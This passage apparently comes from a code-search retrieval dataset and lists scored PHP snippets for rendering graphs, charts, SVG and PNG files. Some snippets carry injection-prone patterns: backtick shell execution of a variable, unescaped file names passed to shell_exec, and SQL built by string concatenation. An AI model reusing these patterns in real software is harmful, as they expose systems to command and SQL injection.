$scheduler_id = $line['SPOOLER_ID'];\n $chain_id = $scheduler_id.'/'.$line['JOB_CHAIN'];\n\n $line['START_TIME']=$date->ShortDate( $date->Date2Local($line['START_TIME'],$scheduler_id));\n $line['END_TIME']=$date->ShortDate( $date->Date2Local($line['END_TIME'],$scheduler_id));\n\n // Ordres\n $order = $line['ORDER_ID'];\n $order_id = $chain_id.'/'.$line['ORDER_ID'];\n\n $step_id = $chain_id.'/'.$line['STATE'];\n $Steps[$step_id] = $line;\n\n $job_chain = $line['JOB_CHAIN'];\n $OrderInfo[$order_id] = $line;\n }\n\n // est on en mode splitté ?\n // le mieux serait de reprendre les ordres du xml\n $qry = $sql->Select(array('soh.JOB_CHAIN','soh.ORDER_ID','soh.SPOOLER_ID','soh.TITLE as ORDER_TITLE','soh.STATE as CURRENT_STATE','soh.START_TIME as ORDER_START_TIME','soh.END_TIME as ORDER_END_TIME',\n 'sosh.TASK_ID','sosh.STATE','sosh.STEP','sosh.START_TIME','sosh.END_TIME','sosh.ERROR','sosh.ERROR_TEXT'))\n .$sql->From(array('SCHEDULER_ORDER_HISTORY soh'))\n .$sql->LeftJoin('SCHEDULER_ORDER_STEP_HISTORY sosh',array('soh.HISTORY_ID','sosh.HISTORY_ID'))\n .$sql->Where(array(\n 'soh.HISTORY_ID>=' => $id,\n 'soh.JOB_CHAIN' => $job_chain,\n 'soh.SPOOLER_ID' => $scheduler_id,\n 'soh.ORDER_ID' => '%:%' ))\n .$sql->OrderBy(array('sosh.TASK_ID'));\n\n $res = $data->sql->query( $qry );\n while ($line = $data->sql->get_next($res)) {\n $chain_id = $scheduler_id.'/'.$line['JOB_CHAIN'];\n\n $line['START_TIME']=$date->ShortDate( $date->Date2Local($line['START_TIME'],$scheduler_id));\n $line['END_TIME']=$date->ShortDate( $date->Date2Local($line['END_TIME'],$scheduler_id));\n\n // Ordres\n $order = $line['ORDER_ID'];\n $order_id = $chain_id.'/'.$line['ORDER_ID'];\n\n $step_id = $chain_id.'/'.$line['STATE'];\n $Steps[$step_id] = $line;\n\n $OrderInfo[$order_id] = $line;\n }\n\n // On complete avec l'etat de la chaine\n $qry = $sql->Select(array('SPOOLER_ID','PATH','STOPPED'))\n .$sql->From(array('SCHEDULER_JOB_CHAINS'))\n .$sql->Where(array('SPOOLER_ID' => $scheduler_id, 'PATH' => $job_chain, 'STOPPED' => 1 ));\n\n $res = $data->sql->query( $qry );\n $Chain[$chain_id]['STOPPED']=0;\n if ($line = $data->sql->get_next($res)) {\n $Chain[$chain_id]['STOPPED']=1;\n }\n\n // On complete avec l'etat des steps\n $qry = $sql->Select(array('SPOOLER_ID','JOB_CHAIN','ORDER_STATE','ACTION'))\n .$sql->From(array('SCHEDULER_JOB_CHAIN_NODES'))\n .$sql->Where(array('SPOOLER_ID' => $scheduler_id, 'JOB_CHAIN' => $job_chain ));\n\n $res = $data->sql->query( $qry );\n while ($line = $data->sql->get_next($res)) {\n $step_id = $chain_id.'/'.$line['ORDER_STATE'];\n // Si il n'est pas dans l'historique\n if (!isset($Steps[$step_id])) {\n $Steps[$step_id]['STATE']= $line['ORDER_STATE'];\n }\n $Steps[$step_id]['ACTION']= $line['ACTION'];\n }\n\n // On complete avec les infos de l'ordre\n $qry = $sql->Select(array('SPOOLER_ID','JOB_CHAIN','STATE','STATE_TEXT','TITLE','PAYLOAD','INITIAL_STATE','ORDER_XML'))\n .$sql->From(array('SCHEDULER_ORDERS'))\n .$sql->Where(array('SPOOLER_ID' => $scheduler_id, 'JOB_CHAIN' => $job_chain, 'ID' => $order ));\n\n $res = $data->sql->query( $qry );\n while ($line = $data->sql->get_next($res)) {\n $OrderInfo[$order_id]['ORDER_XML'] = $line['ORDER_XML'];\n $OrderInfo[$order_id]['PAYLOAD'] = $line['PAYLOAD'];\n }\n\n $last = '';\n $Done = array(); // Noeuds traités\n\n // Schema de base\n $tmp = sys_get_temp_dir(); \n $cache = $tmp.'/'.$scheduler_id.',job_chains,job_commands.'.$scheduler_id.'.xml';\n $I = @stat( $cache );\n $modif = $I[9];\n $SOS = $this->container->get('arii_jid.sos');\n \n if ((time() - $I[9])>3) {\n $cmd = '<show_state what=\"job_chains,job_commands\"/>';\n $xml = $SOS->Command($scheduler_id,$cmd, 'xml');\n if (isset($xml['ERROR'])) {\n print $xml['ERROR'];\n exit();\n }\n file_put_contents($cache, $xml);\n }\n else {\n $xml = file_get_contents($cache);\n }\n $result = $SOS->xml2array($xml,1,'value');\n\n if (!isset($result['spooler'])) exit();\n\n $JobChains = $result['spooler']['answer']['state']['job_chains']['job_chain'];\n\n $XMLJobs = $result['spooler']['answer']['state']['jobs']['job'];\n\n // On ne conserve que le significatif\n $n=0;\n $Jobs = array();\n while (isset($XMLJobs[$n]['attr']['job'])) {\n $job = $XMLJobs[$n]['attr']['path'];\n // successeurs\n if (isset($XMLJobs[$n]['commands'])) {\n if (isset($XMLJobs[$n]['commands']['order'])) {\n $XMLJobs[$n]['commands'][0]['attr'] = $XMLJobs[$n]['commands']['attr'];\n $XMLJobs[$n]['commands'][0]['order'] = $XMLJobs[$n]['commands']['order'];\n }\n // Commandes\n $c = 0;\n $Commands = array();\n while (isset($XMLJobs[$n]['commands'][$c]['attr']['on_exit_code'])) {\n $next = $XMLJobs[$n]['commands'][$c]['attr']['on_exit_code'];\n if (isset($XMLJobs[$n]['commands'][$c]['attr'])) {\n // mise en tableau forcée\n $o = 0;\n if (isset($XMLJobs[$n]['commands'][$c]['order']['attr']))\n $XMLJobs[$n]['commands'][$c]['order'][$o]['attr'] = $XMLJobs[$n]['commands'][$c]['order']['attr'];\n while (isset($XMLJobs[$n]['commands'][$c]['order'][$o])) {\n $XMLJobs[$n]['commands'][$c]['order'][$o]['attr']['on_exit_code'] = $next;\n array_push($Commands,$XMLJobs[$n]['commands'][$c]['order'][$o]);\n $o++;\n }\n }\n $c++;\n }\n $Jobs[$job] = $Commands;\n }\n // Next ?\n elseif (substr($XMLJobs[$n]['attr']['job'],0,1)=='_') {\n $Jobs[$job][0]['synchro']=1;\n }\n $n++;\n }\n\n // Dessin des étapes\n $gvz = $this->container->get('arii_jid.graphviz');\n $last = '';\n $etape=0;\n $svg = ''; \n foreach ($Steps as $step_id=>$line) {\n\n $s='/'.$line['JOB_CHAIN'].'/'.$line['STATE'];\n\n $svg .= $gvz->Node($images_path, $line);\n $Done[$s]=1;\n\n // si on est en split, cest différents\n if ($last !='') {\n if (($p=strpos($s,':'))>0) {\n $svg .= \"\\\"\".substr($s,0,$p).\"\\\" -> \\\"$s\\\" [label=$etape,color=$color]\\n\";\n }\n else {\n $svg .= \"\\\"$last\\\" -> \\\"$s\\\" [label=$etape,color=$color]\\n\";\n }\n }\n // On relie avec le noeud précédent\n // donc la couleur est pour le prochain lien\n if (!isset($line['ERROR'])) {\n $color= \"grey\";\n }\n elseif ($line['ERROR']==0 )\n $color= \"green\";\n else\n $color= \"red\";\n\n $last = $s;\n $etape++;\n }\n\n $svg .= $gvz->Chain($images_path, $scheduler_id, \"/$job_chain\", $order_id, $Steps, $JobChains, $Jobs );\n\n foreach ($OrderInfo as $order_id => $Order ) {\n $svg .= $gvz->Order($images_path, $Order);\n $svg .= '\"O.'.$Order['ORDER_ID'].'\" -> \"/'.$job_chain.'/'.$Order['CURRENT_STATE'].'\" [style=dashed]'.\"\\n\";\n }\n \n $graphviz = $this->container->get('arii_core.graphviz');\n $Options = array(\n 'digraph' => true,\n 'output' => $output\n );\n\n return $graphviz->dot($svg, $Options);\n }", "title": "" }, { "docid": "269603903767ab6cecbc309834fcbe9a", "score": "0.5729625", "text": "public function png(){\n #header(\"Expires: \" . date(DATE_RFC822,strtotime($this->cache.\" seconds\")));\n header(\"content-type: image/png\");\n $graphdata = implode(' ', $graphdata);\n echo `$graphdata`;\n }", "title": "" }, { "docid": "30e91bc91cc6436ae3c7e25677b6ae04", "score": "0.5598571", "text": "function DrawGraph($file = \"\") {\n list($w, $h) = $this->GetFinalGraphDimensions();\n $this->graph_width = $w;\n $this->graph_height = $h;\n\n $this->im = imagecreatetruecolor($w, $h);\n if ($this->graph_transparencylevel) {\n imagealphablending($this->im, true);\n }\n\n $this->__PaintBackground();\n $this->__DrawAxis();\n\n $p = 0;\n foreach ($this->bar_data as $name => $value) {\n $p++;\n $this->__DrawBarText($p, $name);\n $this->__DrawBar($p, $value);\n }\n\n if (strlen($this->graph_title)) {\n $this->__AllocateColor(\"im_graph_titlecolor\",\n $this->graph_titlecolor,\n $this->graph_transparencylevel);\n $this->__DrawText($this->graph_title,\n floor($this->graph_width / 2),\n $this->graph_borderwidth + 2,\n $this->im_graph_titlecolor,\n 2,\n 1);\n }\n\n if (strlen($file)) {\n $ret = imagepng($this->im, $file);\n } else {\n header('Content-Type: image/png');\n imagepng($this->im);\n $ret = true;\n }\n imagedestroy($this->im);\n return $ret;\n }", "title": "" }, { "docid": "e944bddb449fd9425c276b20dc8a3e17", "score": "0.5579591", "text": "function LoadGraph($path) {\n if (($fp = @fopen($path, \"r\")) !== false) {\n $content = \"\";\n while (!feof($fp)) { // I do not use filesize() here\n $content .= fread($fp, 4096); // because of remote files. If\n } // there is no problem with them\n fclose($fp); // please let me know\n $this->__LoadGraphDefinitions($content);\n return true;\n } else return false;\n }", "title": "" }, { "docid": "783a9c5135e0e2488fdd902dec8629d2", "score": "0.54477966", "text": "public function SaveFlex($fileName)\r\n {\r\n $fhandle=fopen($fileName,'w');\r\n if($fhandle==false)\r\n {\r\n die(\"Unable to create file\");\r\n }\r\n else\r\n { \r\n rewind($fhandle); \r\n $oldGraphics = $this->getChart()->getGraphics3D();\r\n $g = new Graphics3DFlex($fhandle, $this->chart);\r\n \r\n $g->setImagePath($this->ImagePath);\r\n $g->setEmbeddedImages($this->EmbeddedImages);\r\n $this->chart->setGraphics3D($g);\r\n \r\n $this->chart->_paint($g, new Rectangle(0, 0, $this->getWidth(), $this->getHeight()));\r\n \r\n // To add end of mxml file\r\n $g->ShowImage($g);\r\n\r\n $this->chart->setGraphics3D($oldGraphics);\r\n \r\n // Close the mxml file\r\n fflush($fhandle);\r\n ftruncate($fhandle, ftell($fhandle)); \r\n fclose($fhandle); \r\n }\r\n }", "title": "" }, { "docid": "8ead7c06e40a7656ffe7ec96d4061182", "score": "0.54397976", "text": "public function get_store_svg() {\n\t\tif ( isset( $_GET['file'] ) && $_GET['file'] == 'ecwid_store_svg.svg' && current_user_can( 'administrator' ) ) {\n\t\t\tecwid_load_textdomain();\n\t\t\theader( 'Content-type: image/svg+xml' );\n\t\t\trequire_once ECWID_PLUGIN_DIR . 'templates/store-svg.php';\n\t\t\tdie();\n\t\t}\n\t}", "title": "" }, { "docid": "9c7fdb693723c81d2aaa85b210dd09dd", "score": "0.5425997", "text": "public function output(){\n\n $allNodes = $this->importNodes->getAllNodes($this->datasource_name);\n $allRels = $this->importNodes->getAllRelationships($this->datasource_name);\n\n $this->outputNodeHeaders();\n $this->outputRelHeaders();\n\n // Output Nodes\n foreach($allNodes as $anItem){\n $this->outputNodeToFile(json_decode($anItem['json'], true));\n }\n // Output Relationships\n foreach($allRels as $anItem){\n $this->outputRelationshipToFile($anItem);\n }\n\n }", "title": "" }, { "docid": "06499b4ce5e57b9f6b0b209669ea0be6", "score": "0.5341408", "text": "public function render()\n {\n array_walk($this->_store->getAll(), array($this, 'renderFile'));\n\n $index = array(\n 'reports' => $this->_reports\n );\n file_put_contents(\n sprintf('%s/index.html', $this->_reportDir),\n $this->_twig->render('index.html.twig', $index)\n );\n }", "title": "" }, { "docid": "f7b8f17aae9ee009a4cf2cd947573f8b", "score": "0.5279436", "text": "public function createGraph() \n\t{\n\t\t//setup axis if not already setup by user\n\t\tif ($this->bool_data){\n\t\t\t$this->analyzeData();\n\t\t\tif (!$this->bool_x_axis_setup) { \n\t\t\t\t$this->setupXAxis(); \n\t\t\t}\n\t\t\tif (!$this->bool_y_axis_setup){ \n\t\t\t\t$this->setupYAxis(); \n\t\t\t}\n\t\t\t\n\t\t\t//calculations\n\t\t\t$this->calcTopMargin();\n\t\t\t$this->calcRightMargin();\n\t\t\t$this->calcCoords();\n\t\t\t$this->setupData();\n\t\t\t\n\t\t\t//start creating actual image elements\n\t\t\tif ($this->bool_background) { \n\t\t\t\t$this->generateBackgound(); \n\t\t\t}\n\t\t\t\n\t\t\t//always gen grid values, even if not displayed\n\t\t\t$this->setupGrid();\n\n\t\t\tif ($this->bool_bars_generate) { \n\t\t\t\t$this->generateBars(); \n\t\t\t}\n\t\t\tif ($this->bool_data_points) {\n\t\t\t\t$this->generateDataPoints(); \n\t\t\t}\n\t\t\tif ($this->bool_legend) { \n\t\t\t\t$this->generateLegend(); \n\t\t\t}\n\t\t\tif ($this->bool_title) { \n\t\t\t\t$this->generateTitle(); \n\t\t\t}\n\t\t\tif ($this->bool_x_axis) { \n\t\t\t\t$this->generateXAxis(); \n\t\t\t}\n\t\t\tif ($this->bool_y_axis) { \n\t\t\t\t$this->generateYAxis(); \n\t\t\t}\n\t\t} else {\n\t\t\t$this->error[] = \"No valid data added to graph. Add data with the addData() function.\";\n\t\t}\n\n\t\t//display errors\n\t\t$this->displayErrors();\n\n\t\t//output to browser\n\t\tif ($this->output_file) {\n\t\t\timagepng($this->image, $this->output_file);\n\t\t} else {\n\t\t\timagepng($this->image);\n\t\t}\n\t\timagedestroy($this->image);\n\t}", "title": "" }, { "docid": "eff04b48ee0527833e8d9886a0bfee2f", "score": "0.5271794", "text": "public function other()\n {\n //$graph = $factory->createGraph('my graph');\n//\n //$begin = $graph->addBegin(\"begin\");\n //$flow1 = $graph->addDecision(\"task1\");\n //$complete = $graph->addTask(\"completed\");\n //$failed = $graph->addTask(\"failed\");\n//\n //$graph1 = $graph->addGraph(\"graph1\");\n //$task3 = $graph1->addTask(\"task3\");\n //$task4 = $graph1->addTask(\"task4\");\n //$graph1->addArrow($task3, $task4);\n //$graph1->addInputPoint($task3->getInputPoint());\n //$graph1->addOutputPoint($task4->getOutputPoint());\n //\n //$end = $graph->addEnd(\"end\");\n//\n //$graph->addArrow($begin, $task1);\n //$graph->addArrow($task1, $complete, Decision::TASK_COMPLETED);\n //$graph->addArrow($complete, $graph1);\n //\n //$graph->addArrow($task1, $failed, Decision::TASK_FAILED);\n //$graph->addArrow($failed, $graph1);\n//\n //$graph->addArrow($graph1, $end);\n\n // $graph = $graph->addGraph(\"graph1\");\n // $task4 = $graph->addDecision(\"task4\");\n // $task5 = $graph->addTask(\"task5\");\n // $graph->addInputPoint($task4->getInputPoint());\n // $graph->addOutputPoint($task5->getOutputPoint());\n // $graph->addArrow($task4, $task5, 'OnTaskCompleted');\n\n // $graph->addArrow($task3, $graph);\n // $graph->addArrow($graph, $task2);\n\n // Creating a file Network.dot ready to be opened by the Graphviz software\n //$dumper = new GraphvizDumper();\n ////file_put_contents('flowchart.dot', $dumper->dump($graph));\n\n// //// Creating a file Network.dot ready to be opened by the Graphviz software\n //$dumper = new \\Petrinet\\Dumper\\GraphvizDumper();\n //$petrinet = $graph->getPetriBuilder()->getPetrinet();\n ////file_put_contents('petrinet1.dot', $dumper->dump($petrinet));\n\n// //$engine = new Engine($petrinet);\n //$dispatcher = new EventDispatcher();\n //\n //// Listening to an EngineEvent\n //$stopped = function (EngineEvent $e) use ($dumper) {\n // $petrinet = $e->getEngine()->getPetrinet();\n // echo 'The execution of the Petrinet ' . $petrinet->getId() . ' just stopped';\n // file_put_contents('petrinet2.dot', $dumper->dump($petrinet));\n //};\n //$listenInsertion = function (TokenAndPlaceEvent $e) {\n // $placeId = $e->getToken()->getId();\n // echo sprintf('The place %s just received a new token', $placeId);\n //};\n\n// //// Adding the listener to the dispatcher\n //$dispatcher->addListener(PetrinetEvents::AFTER_ENGINE_STOP, $stopped);\n //$dispatcher->addListener(PetrinetEvents::AFTER_TOKEN_INSERT, $listenInsertion);\n\n// //// Injecting the dispatcher into the engine\n //$engine->setDispatcher($dispatcher);\n //\n //// Starting the execution\n //$engine->start();\n\n// //$this->assertInstanceOf('\\Flow\\Graph\\Components\\Graph\\Graph', $graph);\n }", "title": "" }, { "docid": "8d8bfa530230674ad8a284cec565426e", "score": "0.51916313", "text": "public function save()\n {\n return File::put($this->getPath(), $this->toJsonPretty());\n }", "title": "" }, { "docid": "5269f9037ae470218dc64ff1d4246c74", "score": "0.5174424", "text": "function save(){\n\t\tif (isset($this->id) && !$this->_new) {\n\t\t\t$sql = \"UPDATE `svg_info` set \";\n\t\t\t$i = 0;\n\t\t\tforeach($this->UPDATE as $u){\n\t\t\t\tif ($i>0) $sql = $sql.\" , \";\n\t\t\t\t$sql = $sql.$u;\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$sql = $sql.\" WHERE `id`='\".addslashes($this->id).\"'\";\n\t\t}else{\n\t\t\t$sql = \"INSERT into `svg_info` values('\".addslashes($this->id).\"' , '\".addslashes($this->bf).\"' , '\".addslashes($this->type).\"' , '\".addslashes($this->lid).\"' , '\".addslashes($this->index).\"' , '\".addslashes($this->transform).\"' , '\".addslashes($this->value).\"' , '\".addslashes($this->fontsize).\"' , '\".addslashes($this->color).\"' , '\".addslashes($this->fill).\"' , '\".addslashes($this->stroke).\"' , '\".addslashes($this->points).\"' , '\".addslashes($this->txt).\"')\";\n\t\t}\n\t\t$this->connection->send_query($sql);\n\t}", "title": "" }, { "docid": "b03d3239f858cbb1fc0168cbb1bb9b41", "score": "0.5162977", "text": "function SaveDiagram($diagramsrc, $diagram_filename)\r\n{\r\n\r\n\t$diagram =& new GoDiagram($diagramsrc);\r\n\tif ($diagram->diagram)\r\n\t{\r\n\t $png =& $diagram->createPNG();\r\n\t ImagePng($png, $diagram_filename);\r\n\t ImageDestroy($png);\r\n\t return true;\r\n\t} else {\r\n\t return false;\r\n\t}\r\n}", "title": "" }, { "docid": "095e0e9474a7646c867231f29175d25e", "score": "0.51594913", "text": "function rrd_graph($file, $options)\n{\n}", "title": "" }, { "docid": "55bd42ddda352d4b1f3043070b8b34f8", "score": "0.512505", "text": "public function render()\n { \n if (!$this->is_cached())\n $this->process();\n\n $final_include_layout_path = substr($this->get_cached_layout_path(),1);\n ob_start();\n include($final_include_layout_path);\n $rendered_content = ob_get_contents();\n ob_end_clean();\n\n RenderingStack::push($this->tree_view);\n echo $rendered_content;\n RenderingStack::pop();\n }", "title": "" }, { "docid": "ccc23a7e2489b87dfeda6462dad6d273", "score": "0.51198906", "text": "function output_graph($total , $current, $file){\n\t $this->funk_pt = ( $this->funk_pt < count($this->chars) - 1) ? $this->funk_pt++ : 0;\n $segment = floor($total / 20);//size of each segment\n $segment_cnt = ceil(10 *($current / $total));\n\t $this->cliout(\"|\");\n\t for($i=0;$i<count($this->graph);$i++){\n if($i < $segment_cnt){\n\t\t\t$this->graph[$i] = \"-\";\n\t\t\t$this->graph[$i + 1] = $this->chars[$funk];\n\t\t}else{\n $this->graph[$i] = \" \";\n\t\t}\n\t\t$this->cliout($this->graph[$i]); \n }\n \t $this->cliout(\"| \" . ($current / $total)*100 . \"% \" . $this->chars[$this->funk_pt] . \" $current/$total $file\\r\");\n\t //$this->cliout(\"\\n\\$current = $current \\$segment= $segment : \\$segment_cnt = $segment_cnt\\r\");\n\t}", "title": "" }, { "docid": "90a43228d628a46c7b16bbc9bc51caaa", "score": "0.5104175", "text": "function dumpGraphic()\r\n {\r\n // Graphic component that dumps binary data\r\n header(\"Content-type: $this->_binarytype\");\r\n\r\n // Tries to prevent the browser from caching the image\r\n header(\"Pragma: no-cache\");\r\n header(\"Cache-Control: no-cache, must-revalidate\");// HTTP/1.1\r\n header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");// Date in the past\r\n\r\n if($this->hasValidDataField())\r\n {\r\n echo $this->readDataFieldValue();\r\n }\r\n\r\n exit;\r\n }", "title": "" }, { "docid": "52503bf05cf74c2d9e3475bc2683a5a2", "score": "0.5078689", "text": "function save($filename) {\n $this->generate();\n return parent::Output($filename,'F');\n }", "title": "" }, { "docid": "f8b88d9f82f442b1afdd99df394c274b", "score": "0.5045538", "text": "public function render()\n\t{\n\t\techo $this->export();\n\t}", "title": "" }, { "docid": "5f3af51bb1883a8c028d562af85c5f9e", "score": "0.5025192", "text": "public function updateGraphs()\n {\n $this -> addTimePoint($this -> averageProcessTime, $this -> countOfProcessTimesForGraph, $this -> processTimesForGraph);\n $this -> grapher -> makeGraph($this -> processTimesForGraph, self::PROCESSMEAN, self::PROCESSMEAN + 3 * self::PROCESSSIGMA, \"Average Process Times\", \"Cell1OverallProcessGraph.png\");\n $this -> addTimePoint($this -> averageIdleTime, $this -> countOfIdleTimesForGraph, $this -> idleTimesForGraph);\n $this -> grapher -> makeGraph($this -> idleTimesForGraph, self::IDLEMEAN, self::IDLEMEAN + 3 * self::IDLESIGMA, \"Average Idle Times\", \"Cell1OverallIdleGraph.png\");\n }", "title": "" }, { "docid": "8ec63d5b25eb5c989dffed235b8867c9", "score": "0.4983906", "text": "public function save()\n {\n $file = $this->file();\n if ($file) {\n $file->save($this->items);\n }\n }", "title": "" }, { "docid": "986c69086b1f2e1795c5b684a4412f3b", "score": "0.49824318", "text": "function export_file($file, $location = 'svg', $target = 'png', $format = 'png', $dpi = 300) {\n $newfile = str_replace('.svg', '.png', $file);\n shell_exec(\"inkscape '$location/$file' --export-png='$target/$newfile' -d 300\");\n}", "title": "" }, { "docid": "c065ac5b7c994a358c0f9d7564e754bc", "score": "0.49682003", "text": "public function save()\n {\n $filename = $this->filename();\n\n if ($this->force || ! $this->files->exists($filename)) {\n $this->ensureDirectory($filename);\n\n $this->files->put($filename, $this->generate());\n\n if ($this->format) {\n $this->formatCode();\n }\n }\n }", "title": "" }, { "docid": "8599608e98315094d09b9bb01dddbb1f", "score": "0.49674347", "text": "public function save()\n {\n File::put($this->path(), YAML::dump($this->items));\n }", "title": "" }, { "docid": "09bb9d39686e405c5bfa72504b857feb", "score": "0.496267", "text": "function drawGraph($canvas)\n\t{\n\t\t$this->drawCell($canvas, $this->model->getRoot());\n\t}", "title": "" }, { "docid": "b8798f5e6be67d6f705809fd3b363665", "score": "0.4960172", "text": "public function flush() {\n if($this->filename) {\n printf(\"\\nWriting EARL report to: %s\\n\", $this->filename);\n $fd = fopen($this->filename, 'w');\n fwrite($fd, Util::jsonldEncode($this->report));\n fclose($fd);\n }\n }", "title": "" }, { "docid": "b2a5cc73173f684baf77bb2a322efb05", "score": "0.49510947", "text": "public function save(){ \r\n return $this->xmlfile->save($this->absolutepath);\r\n }", "title": "" }, { "docid": "a37412dd6e74594fcaa3cc2c55bc512d", "score": "0.4941941", "text": "public function toSVG();", "title": "" }, { "docid": "808d51e607eb7c276ff2b1dd9ebc9e1f", "score": "0.4901429", "text": "function save() {\r\n\t\t\t$data = serialize($this->state);\r\n\t\t\t//$data = gzcompress ($data, 9);\r\n\t\t\tfile_put_contents($this->file, $data);\r\n\t\t}", "title": "" }, { "docid": "fc8574ca4c01befef3d72774e085e987", "score": "0.4900344", "text": "public function show() {\n\t\t$this->create();\n\t\theader(\"Content-Type: image/png\");\n\t\theader(\"Content-Transfer-Encoding: binary\");\n\t\theader(\"Content-Length: \" . filesize($this->fileName));\n\t\theader(\"ETag: \" . md5($this->fileName)); // note we calculate md5 from filename, not from the file content\n\t\theader(\"Cache-Control: max-age=3600\");\n\t\theader(\"Expires: \" . gmdate('D, j M Y H:i:s', time() + 3600) . ' GMT');\n\t\tob_clean();\n\t\tflush();\n\t\treadfile($this->fileName);\n\t}", "title": "" }, { "docid": "0ad185e881e9185376e6fd0e0bef5575", "score": "0.48986533", "text": "public function run()\n {\n //$contents = File::get(storage_path('\\mibici_stations'));\n\n if ($contents = fopen(\"mibici_stations\", \"r\")) \n {\n\t \twhile(!feof($contents))\n\t \t{\n\t\t $line = fgets($contents);\n\t\t $fragments = explode(\", \", $line);\n\n\t $newNode= new Node;\n\t $newNode->latitude=$fragments[0];\n\t $newNode->longitude=$fragments[1];\n\t \t$newNode->description=$fragments[2];\n\t \t$newNode->type=\"mibici\";\n\t \t$newNode->save();\n\t\t //dd($line);\n\t \t}\n\n\t \tfclose($contents);\n\t\t}\n\n }", "title": "" }, { "docid": "a7e4203f37b50a33259bb68e07b5d2ab", "score": "0.48810473", "text": "public function toBrowser()\n {\n $this->canvas->show($this->type, $this->qualityOption());\n }", "title": "" }, { "docid": "b80d7545e27fe8a71bfd592003abaa4e", "score": "0.48783335", "text": "public function render() {\n\t\textract($this->data);\n\t\trequire($this->path);\n\t}", "title": "" }, { "docid": "c7a6e60265660b6efbc51f5f08f5cc06", "score": "0.4866235", "text": "public function serialize($filename, $data) {\n\t\tthrow new Exception(\"TODO: graphml output\");\n\t}", "title": "" }, { "docid": "4611affd6fd8c513f19d14d36d9c4402", "score": "0.48656324", "text": "function writeAsHtml() \r\n\t{\r\n\t\t\trequire_once(RDFAPI_INCLUDE_DIR.PACKAGE_SYNTAX_RDF);\r\n\t\t$ser = new RdfSerializer();\r\n\t $rdf =& $ser->serialize($this->getMemModel());\r\n\t\t$rdf = htmlspecialchars($rdf, ENT_QUOTES);\r\n\t\t$rdf = str_replace(' ', '&nbsp;', $rdf);\r\n\t\t$rdf = nl2br($rdf);\r\n\t\techo $rdf; \r\n\t}", "title": "" }, { "docid": "344c7ed8708fa8e446a4fc409c08b2de", "score": "0.48642188", "text": "public function save($path);", "title": "" }, { "docid": "51380c49988c400057fc198913490789", "score": "0.48600504", "text": "public function getGraph()\n\t{\n\t\t$data=$this->Purchase_report_model->getData();\n\t\t//log_message('debug', print_r($data, true));\n \tprint_r(json_encode($data, true));\n\t}", "title": "" }, { "docid": "9f95f61504c7f03cd9ad43b2e2302468", "score": "0.48551396", "text": "private function saveFile()\n {\n if (!file_exists($this->filename)) {\n touch($this->filename);\n }\n\n is_writable($this->filename) && file_put_contents(\n $this->filename,\n $this->useJson ? json_encode($this->cache) : serialize($this->cache)\n );\n }", "title": "" }, { "docid": "d0b4522bef6bbc95f841ce2e2addcaa3", "score": "0.48548555", "text": "private function savePngCache() {\n\t\t// the CSS property dominant-baseline.\n\t\t// https://bugs.launchpad.net/inkscape/+bug/811862\n\t\twfDebugLog( \"Pathway\", \"savePngCache() called\\n\" );\n\t\tglobal $wgSVGConverters, $wgSVGConverter, $wgSVGConverterPath;\n\n\t\t$input = $this->getFileLocation( FILETYPE_IMG );\n\t\t$output = $this->getFileLocation( FILETYPE_PNG );\n\n\t\t$width = 1000;\n\t\t$retval = 0;\n\t\tif ( isset( $wgSVGConverters[$wgSVGConverter] ) ) {\n\t\t\t// TODO: calculate proper height for rsvg\n\t\t\t$cmd = str_replace(\n\t\t\t\t[ '$path/', '$width', '$input', '$output' ],\n\t\t\t\t[\n\t\t\t\t\t$wgSVGConverterPath\n\t\t\t\t\t? wfEscapeShellArg( \"$wgSVGConverterPath/\" )\n\t\t\t\t\t: \"\",\n\t\t\t\t\tintval( $width ),\n\t\t\t\t\twfEscapeShellArg( $input ),\n\t\t\t\t\twfEscapeShellArg( $output )\n\t\t\t\t],\n\t\t\t\t$wgSVGConverters[$wgSVGConverter] ) . \" 2>&1\";\n\t\t\t$err = wfShellExec( $cmd, $retval );\n\t\t\tif ( $retval != 0 || !file_exists( $output ) ) {\n\t\t\t\tthrow new Exception(\n\t\t\t\t\t\"Unable to convert to png: $err\\nCommand: $cmd\"\n\t\t\t\t);\n\n\t\t\t}\n\t\t} else {\n\t\t\tthrow new Exception(\n\t\t\t\t\"Unable to convert to png, no SVG rasterizer found\"\n\t\t\t);\n\t\t}\n\t\twfDebugLog( \"Pathway\", \"PNG CACHE SAVED: $output\\n\" );\n\t}", "title": "" }, { "docid": "4b2b3f0a1de9a7c082e96e8162b5e603", "score": "0.48358965", "text": "function save() {\n \tfile_put_contents(\"threads/{$this->id}\", serialize($this));\n }", "title": "" }, { "docid": "abce372e6475f477a5c42d0e92759633", "score": "0.48357272", "text": "public function index()\n {\n $a = new Node(1,'A',12,34,[]);\n $b = new Node(2,'B',12,34,[]);\n $c = new Node(3,'C',12,34,[]);\n $d = new Node(4,'D',12,34,[]);\n $e = new Node(5,'E',13,45,[]); \n $f = new Node(7,'F',13,45,[]); \n $g = new Node(8,'G',13,45,[]); \n $h = new Node(9,'H',13,45,[]); \n $i = new Node(12,'I',13,45,[]); \n $j = new Node(10,'J',13,45,[]); \n $k = new Node(11,'K',13,45,[]); \n $l = new Node(13,'L',13,45,[]); \n $m = new Node(14,'M',13,45,[]); \n $n = new Node(16,'N',13,45,[]); \n $p = new Node(17,'P',13,45,[]);\n\n\n $gr = new Grafo();\n $gr->Add($a);\n $gr->Add($b);\n $gr->Add($c);\n $gr->Add($d);\n $gr->Add($e);\n $gr->Add($f);\n $gr->Add($g);\n $gr->Add($h);\n $gr->Add($i);\n $gr->Add($j);\n $gr->Add($k);\n $gr->Add($l);\n $gr->Add($m);\n $gr->Add($n);\n $gr->Add($p);\n\n // A\n $gr->AddEdge($a,8,$b);\n $gr->AddEdge($b,8,$a);\n $gr->AddEdge($a,4,$e);\n $gr->AddEdge($e,4,$a);\n $gr->AddEdge($a,5,$d);\n $gr->AddEdge($d,5,$a);\n // B\n $gr->AddEdge($b,12,$e);\n $gr->AddEdge($e,12,$b);\n $gr->AddEdge($b,4,$f);\n $gr->AddEdge($f,4,$b);\n $gr->AddEdge($b,3,$c);\n $gr->AddEdge($c,3,$b);\n // C\n $gr->AddEdge($c,9,$f);\n $gr->AddEdge($f,9,$c);\n $gr->AddEdge($c,11,$g);\n $gr->AddEdge($g,11,$c);\n // F\n $gr->AddEdge($f,1,$g);\n $gr->AddEdge($g,1,$f);\n $gr->AddEdge($f,3,$e);\n $gr->AddEdge($e,3,$f);\n $gr->AddEdge($f,8,$k);\n $gr->AddEdge($k,8,$f);\n 